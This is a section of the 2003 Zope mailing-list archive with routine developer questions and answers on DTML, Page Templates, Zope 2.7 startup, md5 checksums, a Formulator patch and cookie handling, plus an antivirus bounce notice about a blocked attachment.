<8A84CB5A-D138-11D7-8C1D-0030656FB5D4@shafermedia.com> Message-ID: <16193.6936.674471.327263@gargle.gargle.HOWL> Dan Shafer wrote at 2003-8-17 21:58 -0700: > ... > So the structure is: > > Folder > Document (with properties) > > > Now, I need to write a routine that iterates over all the folders in a > given directory, examines the document called [caseID]info to determine > if one of its properties (coach_id) matches the name of the currently > AUTHENTICATED_USER. If so, display the folder as an HREF (that I have > working fine) and if not, skip it. Tasks like this either call for ZCatalog (with a "PathIndex") or "ZopeFind". Dieter From dieter at handshake.de Mon Aug 18 21:22:39 2003 From: dieter at handshake.de (Dieter Maurer) Date: Mon Aug 18 16:35:57 2003 Subject: [Zope] passing parameter to dTML-method from a dtml-method In-Reply-To: <200308171654.h7HGsuwX021417@bernie.kbinirsnb.be> References: <200308171654.h7HGsuwX021417@bernie.kbinirsnb.be> Message-ID: <16193.6511.104074.789505@gargle.gargle.HOWL> Paul-Andre.Duchesne@sciencesnaturelles.be wrote at 2003-8-17 18:54 +0200: > I've created a dtml-method that do different things based on the value of a > parameter passed. > So, for example, my method is called test and when i try to invoke through my > browser the method with the parameter and a value it works fine this way: > > http://www.test.com/test?parameter=value > > What I would like to do now is to call this method from an other method and > to pass the parameter and the value programatically, so for example something > like: > > > > how can I do that... ? DTML objects pass their DTML namespace implicitly to called DTML objects. Therefore, the easiest way to pass parameters is: Alternatively, you can call "dtmlObject" explicitely: Do not forget to pass "_.None,_". There are essential (in some circumstances). Dieter From vattekkat.babu at verizon.net Mon Aug 18 17:37:21 2003 From: vattekkat.babu at verizon.net (Satheesh Babu) Date: Mon Aug 18 16:37:58 2003 Subject: [Zope] Display parent container title in Page Template In-Reply-To: <3F40E132.22782.C0C3FB8@localhost> References: <3F40D65C.3039.BE1EA89@localhost> <3F40E132.22782.C0C3FB8@localhost> Message-ID: <3F413901.10407@verizon.net> hpinson@indepthl.com wrote: > > > works... but > > > > does not work. Unfortunaly, I need to use the latter, since this is > the results of a ZCatalog search and is dynamic. Thanks anyway. Is "result" a record returned by ZCatalog search? If so, it wouldn't work. It will work if result is the *actual* object corresponding to the record. If I understand correctly, you want to display the parent's title of the objects returned in a Catalog query.

Babu http://vsbabu.org/ From hpinson at indepthl.com Mon Aug 18 16:04:33 2003 From: hpinson at indepthl.com (hpinson@indepthl.com) Date: Mon Aug 18 17:02:37 2003 Subject: [Zope] Display parent container title in Page Template (Solved) Message-ID: <3F40EB01.1082.C32901F@localhost> Yes-- that does the trick. Thanks!. I did not give enough information in the first post. Sorry about that -- so here is what I ended up with for my search results output: The goUp method is a python script that returns the parent container URL. Parameters: orgin Python Script: url = origin.split('/')[:-1] return '/'.join(url) Harlow Pinson Indepth Learning Email: hpinson@indepthl.com Web: http://www.indepthl.com Voice: 505-994-2135 FAX: 208-475-7678 From jamie at audible.transient.net Mon Aug 18 15:07:54 2003 From: jamie at audible.transient.net (Jamie Heilman) Date: Mon Aug 18 17:09:05 2003 Subject: [Zope] How to install a new product in Zope 2.7 In-Reply-To: <001901c364ed$8c054c10$0601000a@james> References: <16191.47634.577521.362679@gargle.gargle.HOWL> <001901c364ed$8c054c10$0601000a@james> Message-ID: <20030818210754.GA401@audible.transient.net> Chris McDonough wrote: > When someone asks why Zope doesn't start under UNIX and there are no > messages in the event log file, the stock answer will be "run it using > the 'runzope' shell script in a console window". This can easily modify the context (environment, etc.) under which the process is born, bugs which are context dependant may vanish or change in nature because of this. I suppose only time will tell how much pain will be rooted in this choice of direction. > All that said, I think (over time) we might be able to do less before > we have the opportunity setuid so that these kinds of messages would > indeed be written to the logfile. The benefits of being able to bind to a privileged port are imaginary. The setuid code should be removed entirely. -- Jamie Heilman http://audible.transient.net/~jamie/ "You came all this way, without saying squat, and now you're trying to tell me a '56 Chevy can beat a '47 Buick in a dead quarter mile? I liked you better when you weren't saying squat kid." -Buddy From chrism at zope.com Mon Aug 18 18:45:15 2003 From: chrism at zope.com (Chris McDonough) Date: Mon Aug 18 17:44:46 2003 Subject: [Zope] How to install a new product in Zope 2.7 References: <16191.47634.577521.362679@gargle.gargle.HOWL><001901c364ed$8c054c10$0601000a@james> <20030818210754.GA401@audible.transient.net> Message-ID: <008d01c365d2$02b48b70$a017a8c0@james> > This can easily modify the context (environment, etc.) under which the > process is born, bugs which are context dependant may vanish or change > in nature because of this. I suppose only time will tell how much > pain will be rooted in this choice of direction. I suppose. But on UNIX the other primary way to run Zope (zopectl) runs runzope behind the scenes, so the difference between running the two will be fairly small. On Windows, you're right, but because of Windows' process model we can't call a batch file from the service controller. But under Windows we're going to change it to write to the logfile sooner anyway. > The benefits of being able to bind to a privileged port are imaginary. > The setuid code should be removed entirely. Yeah, well. - C From ljmcallister at hotmail.com Tue Aug 19 02:21:51 2003 From: ljmcallister at hotmail.com (Lee J. McAllister) Date: Mon Aug 18 21:22:26 2003 Subject: [Zope] adding Link objects to Plone folders programmatically Message-ID: Hi folks, I'm fairly new to Zope and Python so this is probably a completely obvious one for most of you but I'd really appreciate any help you can give me on how to do this. I'm trying to add CMF Link instances to Plone folders using a script. The intention is to provide crosslinking of articles at several places through out the site to be determined at their creation time. Attempts to call the addLink method directly without importing the Link Class produces complaints about attempting to use an undefined global so I attempted to import the Link class using from Products.CMFDefault import Link but it produces an error of Error Type : ImportError Error Value : import of "Link" from "Products.CMFDefault" is unauthorized. You are not allowed to access Link in this context Does the Link class need to be imported to create a Link instance in a Python script? Is addLink even the appropriate method to be calling to do this or am I barking up the wrong tree here? Am I just a lost Java programmer falling on his face making the jump to the Python wagon? Any suggestions or how-to referances you can provide me would be greatly appreciated. Thanks Lee McAllister _________________________________________________________________ Protect your PC - get McAfee.com VirusScan Online http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963 From jonfox at drfox.com Mon Aug 18 22:47:37 2003 From: jonfox at drfox.com (Jon Fox) Date: Mon Aug 18 21:47:48 2003 Subject: [Zope] python methods for setting selection lists selected item Message-ID: <20030819014737.GA21399@nationoftwo.com> OK, I've been trying to write a python script to create a DTMLDocument with a few properties in it as based on a form (inspired by http://www.evolt.org/article/A_Quick_and_Dirty_Blog_using_Zope/20/23583/). I seem to do fine with text, strings, dates and the like: A form sends in mylaunchdate, myexpireDate, mynewsContent, and mytexttype (a SELECT) and send this to a Script(Python): context.news_items.manage_addProduct['OFSP'].manage_addDTMLDocument(id,\ title=mynewsTitle, file=MyDocument) doc = getattr(context.news_items,id) doc.manage_addProperty('launchDate', mylaunchDate, 'date') doc.manage_addProperty('expireDate', myexpireDate, 'date') doc.manage_addProperty('newsContent', mynewsContent, 'text') But I can't seem to get the hang of selection lists. I create one like this: doc.manage_addProperty('newsFormatOptions', ['StructuredText','xhtml'],\ 'lines') doc.manage_addProperty('newsFormat', 'newsFormatOptions', 'selection') but how do I assign the proper selection states in a python script? How do I set or test what the current selection is in the selection? I'd like to be able to test whether the setting is html or StructuredText for instance so that the document can be properly be presented. Thanks, Jon From andreas at andreas-jung.com Tue Aug 19 07:12:30 2003 From: andreas at andreas-jung.com (Andreas Jung) Date: Tue Aug 19 00:12:37 2003 Subject: [Zope] adding Link objects to Plone folders programmatically In-Reply-To: References: Message-ID: <2147483647.1061273550@[192.168.0.100]> This is a FAQ. See lib/python/Products/PythonScripts/README.txt. -aj --On Dienstag, 19. August 2003 1:21 Uhr +0000 "Lee J. McAllister" wrote: > Hi folks, I'm fairly new to Zope and Python so this is probably a > completely obvious one for most of you but I'd really appreciate any help > you can give me on how to do this. I'm trying to add CMF Link instances > to Plone folders using a script. The intention is to provide > crosslinking of articles at several places through out the site to be > determined at their creation time. > > Attempts to call the addLink method directly without importing the Link > Class produces complaints about attempting to use an undefined global so > I attempted to import the Link class using > > from Products.CMFDefault import Link > > but it produces an error of > > Error Type : ImportError > Error Value : import of "Link" from "Products.CMFDefault" is > unauthorized. You are not allowed to access Link in this context > > > Does the Link class need to be imported to create a Link instance in a > Python script? Is addLink even the appropriate method to be calling to > do this or am I barking up the wrong tree here? Am I just a lost Java > programmer falling on his face making the jump to the Python wagon? > > > Any suggestions or how-to referances you can provide me would be greatly > appreciated. > > Thanks > Lee McAllister > > _________________________________________________________________ > Protect your PC - get McAfee.com VirusScan Online > http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963 > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From lukesh at seznam.cz Tue Aug 19 09:36:42 2003 From: lukesh at seznam.cz (Jaroslav Lukesh) Date: Tue Aug 19 02:42:56 2003 Subject: [Zope] any cleaner or cleverer way of inclusion ? Message-ID: <3F269CE000448AE8@stateless1.tiscali.cz> (added by postmaster@mail.tiscali.cz) > Odes?latel: Can Burak Cilingir > > I think this is because index_html is a dtml document. Try replacing > > it with a dtml method. > > thanks ! thats my answer because it doesn't differ for me if it is a > method or document (at least for now). i choosed as document because i > feel this is a document instead of a method. because it is the main > "document" or default "document". just as the traditional apache name. :) > > now i just have and i am more comfortable. :) > > > http://old.zope.org/Members/michel/HowTos/DTMLMethodsandDocsHowTo Hi, shortly: use document if you have share informations from folder where document present. Use Method if you want get from folder where you have request. Regards JL. From andy at agmweb.ca Tue Aug 19 00:56:16 2003 From: andy at agmweb.ca (Andy McKay) Date: Tue Aug 19 02:57:39 2003 Subject: [Zope] md5 sums In-Reply-To: References: <3F3E3ED6.9010108@loopzilla.org> <3F3EC267.5010905@agmweb.ca> Message-ID: <3F41CA10.6080001@agmweb.ca> No thats what I get. But my point was that I think all md5sums on zope.org are incorrect. You'll notice all md5 sums on all files on zope seem to start with a 0. [andy@basil tmp]$ md5sum Zope-2.6.1-linux2-x86.tgz cd2ca5eb1c9c014844895b93339c0291 Zope-2.6.1-linux2-x86.tgz You'll note if you go and look in the collector: http://collector.zope.org/ZopeOrg/157/view Other people are reporting the md5 sums are wrong as well. -- Andy McKay http://www.agmweb.ca From alienoid at is.lg.ua Tue Aug 19 11:24:30 2003 From: alienoid at is.lg.ua (Ruslan Spivak) Date: Tue Aug 19 03:24:45 2003 Subject: [Zope] adding method to class after object creation Message-ID: <3F41D0AE.2070809@is.lg.ua> Hello. Can anybody help me with the following question: I havbe created zope/cmf product(e.g. LocalizedDocument) with class. User have created about 40 instances of that class in different places in zope tree. I need to add some methods to class, but how can i apply those changes(new methods) to already created objects? I have tried to add one field to class, after restarting zope that field automagically appeared in already created objects(i made catalog search and tried to access that field from python script, it worked), but i don't understand how it works and if it's usual case or i need to do something more to add new features to already created objects when doing changes in the class. Your help is very appreciated. Thanks in advance. Best regards, Ruslan From gordon.joly at pobox.com Tue Aug 19 09:53:19 2003 From: gordon.joly at pobox.com (Gordon Joly) Date: Tue Aug 19 03:53:33 2003 Subject: [Zope] md5 sums In-Reply-To: <3F41CA10.6080001@agmweb.ca> References: <3F3E3ED6.9010108@loopzilla.org> <3F3EC267.5010905@agmweb.ca> <3F41CA10.6080001@agmweb.ca> Message-ID: At 23:56 -0700 2003/08/18, Andy McKay wrote: >No thats what I get. But my point was that I think all md5sums on zope.org are incorrect. You'll notice all md5 sums on all files on zope seem to start with a 0. > >[andy@basil tmp]$ md5sum Zope-2.6.1-linux2-x86.tgz >cd2ca5eb1c9c014844895b93339c0291 Zope-2.6.1-linux2-x86.tgz > >You'll note if you go and look in the collector: > >http://collector.zope.org/ZopeOrg/157/view > >Other people are reporting the md5 sums are wrong as well. >-- > Andy McKay > http://www.agmweb.ca >>>the md5 info is nice, but the leading '0' is wrong OK. But here are two *extra* zeros in my md5sum % md5sum Zope-2.6.1-linux2-x86.tgz cd2ca5eb1c9c014844895b93339c0291 Zope-2.6.1-linux2-x86.tgz -------------^-----------------^---- % cat Zope.md5.txt 0cd2ca5eb1c9c14844895b93339c291 % I can handle that! >>>>>to put it bluntly: I can't believe you activated this new version. The usability of the product pages is atrocious. The old version is better by far, even though every link must be corrected manually (www --> old). I see..... Gordo :-) -- Linux User No. 256022/// http://pobox.com/~gordo/ gordon.joly@pobox.com/// From Paul-Andre.Duchesne at sciencesnaturelles.be Tue Aug 19 10:54:23 2003 From: Paul-Andre.Duchesne at sciencesnaturelles.be (=?iso-8859-1?q?Paul-Andr=E9=20Duchesne?=) Date: Tue Aug 19 03:58:47 2003 Subject: [Zope] passing parameter to dTML-method from a dtml-method In-Reply-To: <16193.6511.104074.789505@gargle.gargle.HOWL> References: <200308171654.h7HGsuwX021417@bernie.kbinirsnb.be> <16193.6511.104074.789505@gargle.gargle.HOWL> Message-ID: <200308190758.h7J7w8q5027141@bernie.kbinirsnb.be> Thanks Dieter, I've used finally a solution which is close to the first one you suggested (with the dtml-let): I've defined a variable in the REQUEST namespace and I use this variable in the dtml-method I call... Thanks again for the answer, Paul On Monday 18 August 2003 20:22, you wrote: > Paul-Andre.Duchesne@sciencesnaturelles.be wrote at 2003-8-17 18:54 +0200: > > I've created a dtml-method that do different things based on the value > > of a parameter passed. > > So, for example, my method is called test and when i try to invoke > > through my browser the method with the parameter and a value it works > > fine this way: > > > > http://www.test.com/test?parameter=value > > > > What I would like to do now is to call this method from an other method > > and to pass the parameter and the value programatically, so for example > > something like: > > > > > > > > how can I do that... ? > > DTML objects pass their DTML namespace implicitly to called DTML objects. > > Therefore, the easiest way to pass parameters is: > > param1=value1 > param2=value2 > ... > > > > > > Alternatively, you can call "dtmlObject" explicitely: > > > > Do not forget to pass "_.None,_". There are essential (in some > circumstances). > > > Dieter From gordon.joly at pobox.com Tue Aug 19 10:03:57 2003 From: gordon.joly at pobox.com (Gordon Joly) Date: Tue Aug 19 04:04:13 2003 Subject: [Zope] md5 sums Message-ID: At 23:56 -0700 2003/08/18, Andy McKay wrote: >No thats what I get. But my point was that I think all md5sums on zope.org are incorrect. You'll notice all md5 sums on all files on zope seem to start with a 0. > >[andy@basil tmp]$ md5sum Zope-2.6.1-linux2-x86.tgz >cd2ca5eb1c9c014844895b93339c0291 Zope-2.6.1-linux2-x86.tgz OK.... I see what you are saying. But we read..... **** MD5 Sums are 32 byte character strings that are the result of running the MD5 sum program against a particular file. Since any difference between two files results in two different strings, MD5's can be used to determine that the file or iso you downloaded is a bit-for-bit copy of the remote file or iso. **** So we both get the same md5sum for the image.... cd2ca5eb1c9c014844895b93339c0291 But the published string is.. 0cd2ca5eb1c9c14844895b93339c291 which has 31 characters (30 without the leaded zero). So........ can this be corrected? Gordo. -- Linux User No. 256022/// http://pobox.com/~gordo/ gordon.joly@pobox.com/// From elena.schulz at gmx.net Tue Aug 19 11:12:13 2003 From: elena.schulz at gmx.net (Elena Schulz) Date: Tue Aug 19 04:13:06 2003 Subject: [Zope] zope2.7b1 does not start on winXP References: Message-ID: <001201c36629$b027da80$010aa8c0@PCA> Hi Chris, Reading your hint from the thread: "How to install a new product in Zope 2.7" to run python.exe instead of pythonw.exe in the runzope.bat now I can provide some error messages that indicate the problem of an ImportError. May be because of some "old" python relicts in the code? -- Still being curious how to get zope 2.7 starting on my WinXP-box, Elena The error-details from the console: L:\Zope\Zope27\ZopeInstanceFiles\bin>runzope L:\Zope\Zope27\ZopeInstanceFiles\bin>"L:\Zope\Zope27\Zope-2.7.0-b1\bin\pytho n.exe" "L:\Zope\Zope27\Z ope-2.7.0-b1\lib\python\Zope\Startup\run.py" -C "L:\Zope\Zope27\ZopeInstanceFiles\etc\zope.conf" Traceback (most recent call last): File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\Zope\Startup\run.py", line 27, in ? run() File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\Zope\Startup\run.py", line 21, in run opts.realize(doc="Sorry, no option docs yet.") File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\zdaemon\zdoptions.py", line 257, in realize self.load_schema() File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\zdaemon\zdoptions.py", line 298, in load_schema self.schema = ZConfig.loadSchema(self.schemafile) File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\ZConfig\loader.py", line 36, in loadSchema return SchemaLoader().loadURL(url) File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\ZConfig\loader.py", line 70, in loadURL return self.loadResource(r) File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\ZConfig\loader.py", line 134, in loadResource self.registry, self) File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\ZConfig\schema.py", line 43, in parseResource xml.sax.parse(resource.file, parser) File "L:\Zope\Zope27\Zope-2.7.0-b1\bin\Lib\xml\sax\__init__.py", line 33, in parse parser.parse(source) File "L:\Zope\Zope27\Zope-2.7.0-b1\bin\Lib\xml\sax\expatreader.py", line 91, in parse xmlreader.IncrementalParser.parse(self, source) File "L:\Zope\Zope27\Zope-2.7.0-b1\bin\Lib\xml\sax\xmlreader.py", line 123, in parse self.feed(buffer) File "L:\Zope\Zope27\Zope-2.7.0-b1\bin\Lib\xml\sax\expatreader.py", line 144, in feed self._parser.Parse(data, isFinal) File "L:\Zope\Zope27\Zope-2.7.0-b1\bin\Lib\xml\sax\expatreader.py", line 218, in start_element self._cont_handler.startElement(name, AttributesImpl(attrs)) File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\ZConfig\schema.py", line 115, in startElement getattr(self, "start_" + name)(attrs) File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\ZConfig\schema.py", line 305, in start_import self.loadComponent(src) File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\ZConfig\schema.py", line 313, in loadComponent xml.sax.parse(r.file, parser) File "L:\Zope\Zope27\Zope-2.7.0-b1\bin\Lib\xml\sax\__init__.py", line 33, in parse parser.parse(source) File "L:\Zope\Zope27\Zope-2.7.0-b1\bin\Lib\xml\sax\expatreader.py", line 91, in parse xmlreader.IncrementalParser.parse(self, source) File "L:\Zope\Zope27\Zope-2.7.0-b1\bin\Lib\xml\sax\xmlreader.py", line 123, in parse self.feed(buffer) File "L:\Zope\Zope27\Zope-2.7.0-b1\bin\Lib\xml\sax\expatreader.py", line 144, in feed self._parser.Parse(data, isFinal) File "L:\Zope\Zope27\Zope-2.7.0-b1\bin\Lib\xml\sax\expatreader.py", line 218, in start_element self._cont_handler.startElement(name, AttributesImpl(attrs)) File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\ZConfig\schema.py", line 115, in startElement getattr(self, "start_" + name)(attrs) File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\ZConfig\schema.py", line 326, in start_sectiontype keytype, valuetype, datatype = self.get_sect_typeinfo(attrs) File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\ZConfig\schema.py", line 203, in get_sect_typeinfo datatype = self.get_datatype(attrs, "datatype", "null") File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\ZConfig\schema.py", line 196, in get_datatype return self._registry.get(dtname) File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\ZConfig\datatypes.py", line 296, in get t = self.search(name) File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\ZConfig\datatypes.py", line 313, in search package = __import__(start, g, g) File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\ZServer\__init__.py", line 36, in ? from HTTPServer import zhttp_server, zhttp_handler File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\ZServer\HTTPServer.py", line 44, in ? from PubCore import handle File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\ZServer\PubCore\__init__.py", line 14, in ? import ZRendezvous File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\ZServer\PubCore\ZRendezvous.py", line 15, in ? from ZServerPublisher import ZServerPublisher File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\ZServer\PubCore\ZServerPublisher.py ", line 13, in ? from ZPublisher import publish_module File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\ZPublisher\__init__.py", line 23, in ? from Publish import publish_module, Retry File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\ZPublisher\Publish.py", line 19, in ? from Response import Response File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\ZPublisher\Response.py", line 13, in ? import HTTPResponse File "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\ZPublisher\HTTPResponse.py", line 19, in ? import zlib, struct ImportError: Module use of python21.dll conflicts with this version of Python. L:\Zope\Zope27\ZopeInstanceFiles\bin> From andreas at andreas-jung.com Tue Aug 19 11:28:42 2003 From: andreas at andreas-jung.com (Andreas Jung) Date: Tue Aug 19 04:28:50 2003 Subject: [Zope] zope2.7b1 does not start on winXP In-Reply-To: <001201c36629$b027da80$010aa8c0@PCA> References: <001201c36629$b027da80$010aa8c0@PCA> Message-ID: <2147483647.1061288922@[10.19.128.17]> --On Dienstag, 19. August 2003 10:12 Uhr +0200 Elena Schulz wrote: > line 13, in ? > import HTTPResponse > File > "L:\Zope\Zope27\Zope-2.7.0-b1\lib\python\ZPublisher\HTTPResponse.py", > line 19, in ? > import zlib, struct > ImportError: Module use of python21.dll conflicts with this version of > Python. Somehow your installation is borked since Zope 2.7 requires Python 2.2.3 and you are using 2.1.... or so. -aj From borge.kjeldstad at whiteflower.no Tue Aug 19 11:59:12 2003 From: borge.kjeldstad at whiteflower.no (=?iso-8859-1?Q?B=F8rge_Kjeldstad?=) Date: Tue Aug 19 04:59:50 2003 Subject: [Zope] How to personalise a website? Message-ID: <001401c36630$2bf389b0$0a00000a@borge> Hello! I want to personalize a website. That is; I have a welcome page with some links on, say link A, B and C. If a guest presses link B I want that to affect the design of all the later pages that this guest sees. However, if the guest returns to the welcome page and presses link C, I want all the following pages that this guest sees, to have some other look (the ?C look?). I am not so good at programming in python so I guess my easiest shot will be to use cookies (please correct me if I am wrong:-)). Now, I found some example in the Zope book. If the guest chooses link B I could set a cookie using the following statement: and then later for the page design, use some ?if? statement like this: (Please correct me if the program lines here are wrong:-), I am really not sure about how to use the apostrophe ? sign in these statements) But if the guest now goes back to the welcome page and chooses link C he or she will still have the ?guest_B? cookie. My question is then: How do I erase the ?guest_B? cookie? Now, I am also slightly aware of that there is some parameter option in the ?setCookie? statement. That is: I could maybe have a setCookie statement that went like this: and then use or change the parameter to the cookie ?guest? My second question is hence; if this would be a better solution than trying to erase the cookie as previously described. Thank you very much! B?rge Kjeldstad -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030819/e9021d2e/attachment.htm From lists at elvix.com Tue Aug 19 12:15:57 2003 From: lists at elvix.com (=?ISO-8859-1?B?R2VpciBC5mtob2x0?=) Date: Tue Aug 19 05:12:41 2003 Subject: [Zope] How to personalise a website? (or..rather : how to set and erase cookies) In-Reply-To: <001401c36630$2bf389b0$0a00000a@borge> References: <001401c36630$2bf389b0$0a00000a@borge> Message-ID: <288994865.20030819111557@elvix.com> On Tue, 19 Aug 2003 10:59:12 +0200 GMT B?rge Kjeldstad asked the Zope mailinglist about the following: > Now, I am also slightly aware of that there is some parameter option > in the ?setCookie? statement. That is: I could maybe have a > setCookie statement that went like this: > Yes, but use normal single quotes if it is just a string: > and then use or change the parameter to the cookie ?guest? My second > question is hence; if this would be a better solution than trying to > erase the cookie as previously described. Your final idea here is probably the one you want, as it would not erase the prevoius cookie before your guest had chosen a new one. for erasing cookies : set them to expire some point of time in the past. There might even be a method RESPONSE.expireCookie('guest') , but you will have to check the API docs for this.. hint : Don't get started too much on DTML. Use python-scripts for things like this, and ZPT for presentation. :) -- Geir B?kholt From jean at upfrontsystems.co.za Tue Aug 19 12:23:51 2003 From: jean at upfrontsystems.co.za (Jean Jordaan) Date: Tue Aug 19 05:24:48 2003 Subject: [Zope] PATCH (was Formulator acts funny for 2-character options) In-Reply-To: <3F4102E6.5020601@upfrontsystems.co.za> References: <3F40F8C5.60409@upfrontsystems.co.za> <3F4102E6.5020601@upfrontsystems.co.za> Message-ID: <3F41ECA7.6030201@upfrontsystems.co.za> Hmm, was a bit hasty. The fix is needed in a couple of places in Widget.py and Validator.py .. New patch attached. -- Jean Jordaan http://www.upfrontsystems.co.za -------------- next part -------------- diff --exclude='*.pyc' --exclude='*~' --exclude='.*' -ru /usr/local/zope/Products/Formulator-1.4.1/Validator.py Formulator/Validator.py --- /usr/local/zope/Products/Formulator-1.4.1/Validator.py 2003-05-16 17:44:47.000000000 +0200 +++ Formulator/Validator.py 2003-08-19 11:10:14.000000000 +0200 @@ -7,6 +7,19 @@ from urlparse import urljoin from Errors import ValidationError +def _splitItem(item): + from types import StringType + if isinstance(item, StringType): + item_text = item + item_value = item + else: + try: + item_text, item_value = item + except ValueError: + item_text = item + item_value = item + return item_text, item_value + class Validator: """Validates input and possibly transforms it to output. """ @@ -366,11 +379,7 @@ # get the text and the value from the list of items for item in field.get_value('items'): - try: - item_text, item_value = item - except ValueError: - item_text = item - item_value = item + item_text, item_value = _splitItem(item) # check if the value is equal to the string/unicode version of # item_value; if that's the case, we can return the *original* @@ -435,11 +444,7 @@ # create a dictionary of possible values value_dict = {} for item in field.get_value('items'): - try: - item_text, item_value = item - except ValueError: - item_text = item - item_value = item + item_text, item_value = _splitItem(item) value_dict[item_value] = 0 # check whether all values are in dictionary @@ -677,4 +682,3 @@ DateTimeValidatorInstance = DateTimeValidator() - diff --exclude='*.pyc' --exclude='*~' --exclude='.*' -ru /usr/local/zope/Products/Formulator-1.4.1/Widget.py Formulator/Widget.py --- /usr/local/zope/Products/Formulator-1.4.1/Widget.py 2003-07-04 12:47:48.000000000 +0200 +++ Formulator/Widget.py 2003-08-19 11:05:53.000000000 +0200 @@ -3,6 +3,19 @@ from DocumentTemplate.DT_Util import html_quote from DateTime import DateTime +def _splitItem(item): + from types import StringType + if isinstance(item, StringType): + item_text = item + item_value = item + else: + try: + item_text, item_value = item + except ValueError: + item_text = item + item_value = item + return item_text, item_value + class Widget: """A field widget that knows how to display itself as HTML. """ @@ -392,12 +405,7 @@ selected_found = 0 rendered_items = [] for item in items: - try: - item_text, item_value = item - except ValueError: - item_text = item - item_value = item - + item_text, item_value = _splitItem(item) if item_value == value and not selected_found: rendered_item = self.render_selected_item(item_text, @@ -448,11 +456,7 @@ css_class = field.get_value('css_class') rendered_items = [] for item in items: - try: - item_text, item_value = item - except ValueError: - item_text = item - item_value = item + item_text, item_value = _splitItem(item) if item_value in value: rendered_item = self.render_selected_item(item_text, @@ -476,11 +480,7 @@ items = field.get_value('items') d = {} for item in items: - try: - item_text, item_value = item - except ValueError: - item_text = item - item_value = item + item_text, item_value = _splitItem(item) d[item_value] = item_text result = [] for e in value: @@ -885,6 +885,3 @@ else: return apply(render_tag, (tag,), kw) + " />" - - - From SSlack at allvac.co.uk Tue Aug 19 12:15:15 2003 From: SSlack at allvac.co.uk (Slack, Stephen) Date: Tue Aug 19 06:18:29 2003 Subject: [Zope] How to personalise a website? Message-ID: <9E17660F5CFE0F45BE50D766FC6C7246035997@Mail6.CC.Corp.com> Hi B?rge, I'm new to Zope myself, but I have had some experience of this with a custom application that I wrote. The users are able to customise certain aspects of my application then the preferences are stored in a MySql database. When the user logs in, the application checks their user id and password but also reads in their preferences. These are used to apply style sheets and other various bits of customisation. If Zope supports cascading style sheets this may be the way to go. HTH Stephen Slack Senior System Developer Allvac (UK) Ltd -----Original Message----- From: B?rge Kjeldstad [mailto:borge.kjeldstad@whiteflower.no] Sent: 19 August 2003 09:59 To: zope@zope.org Subject: [Zope] How to personalise a website? Hello! I want to personalize a website. That is; I have a welcome page with some links on, say link A, B and C. If a guest presses link B I want that to affect the design of all the later pages that this guest sees. However, if the guest returns to the welcome page and presses link C, I want all the following pages that this guest sees, to have some other look (the "C look"). I am not so good at programming in python so I guess my easiest shot will be to use cookies (please correct me if I am wrong:-)). Now, I found some example in the Zope book. If the guest chooses link B I could set a cookie using the following statement: and then later for the page design, use some "if" statement like this: (Please correct me if the program lines here are wrong:-), I am really not sure about how to use the apostrophe ' sign in these statements) But if the guest now goes back to the welcome page and chooses link C he or she will still have the "guest_B" cookie. My question is then: How do I erase the "guest_B" cookie? Now, I am also slightly aware of that there is some parameter option in the "setCookie" statement. That is: I could maybe have a setCookie statement that went like this: and then use or change the parameter to the cookie "guest" My second question is hence; if this would be a better solution than trying to erase the cookie as previously described. Thank you very much! B?rge Kjeldstad -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030819/55e3a06d/attachment.htm From ANTIGEN_FIESPEXC0001 at metsagroup.com Tue Aug 19 14:34:21 2003 From: ANTIGEN_FIESPEXC0001 at metsagroup.com (ANTIGEN_FIESPEXC0001) Date: Tue Aug 19 06:34:28 2003 Subject: [Zope] Metsa Group Antivirus Gateway found =*.pif file Message-ID: Metsa Group Antivirus Gateway is unable to deliver the attachment your_details.pif because it may contain viruses. The file is currently Removed. The message, "Wicked screensaver", was sent from zope@zope.org. From tillea at rki.de Tue Aug 19 14:16:08 2003 From: tillea at rki.de (Andreas Tille) Date: Tue Aug 19 07:17:38 2003 Subject: [Zope] Re: PATCH (was Formulator acts funny for 2-character options) Message-ID: On Tue, 19 Aug 2003, Jean Jordaan wrote: > Hmm, was a bit hasty. The fix is needed in a couple of places > in Widget.py and Validator.py .. New patch attached. > > ... > > diff --exclude='*.pyc' --exclude='*~' --exclude='.*' -ru /usr/local/zope/Products/Formulator-1.4.1/Validator.py Formulator/Validator.py > --- /usr/local/zope/Products/Formulator-1.4.1/Validator.py 2003-05-16 17:44:47.000000000 +0200 Sorry, I did not follow this thread up to now but in how far is this patch necessary for Formulator 1.5.0? Kind regards Andreas. From Guinevere at lgc.co.uk Tue Aug 19 13:47:51 2003 From: Guinevere at lgc.co.uk (Guinevere) Date: Tue Aug 19 07:48:38 2003 Subject: [Zope] Blocked Attachment Message-ID: This is an 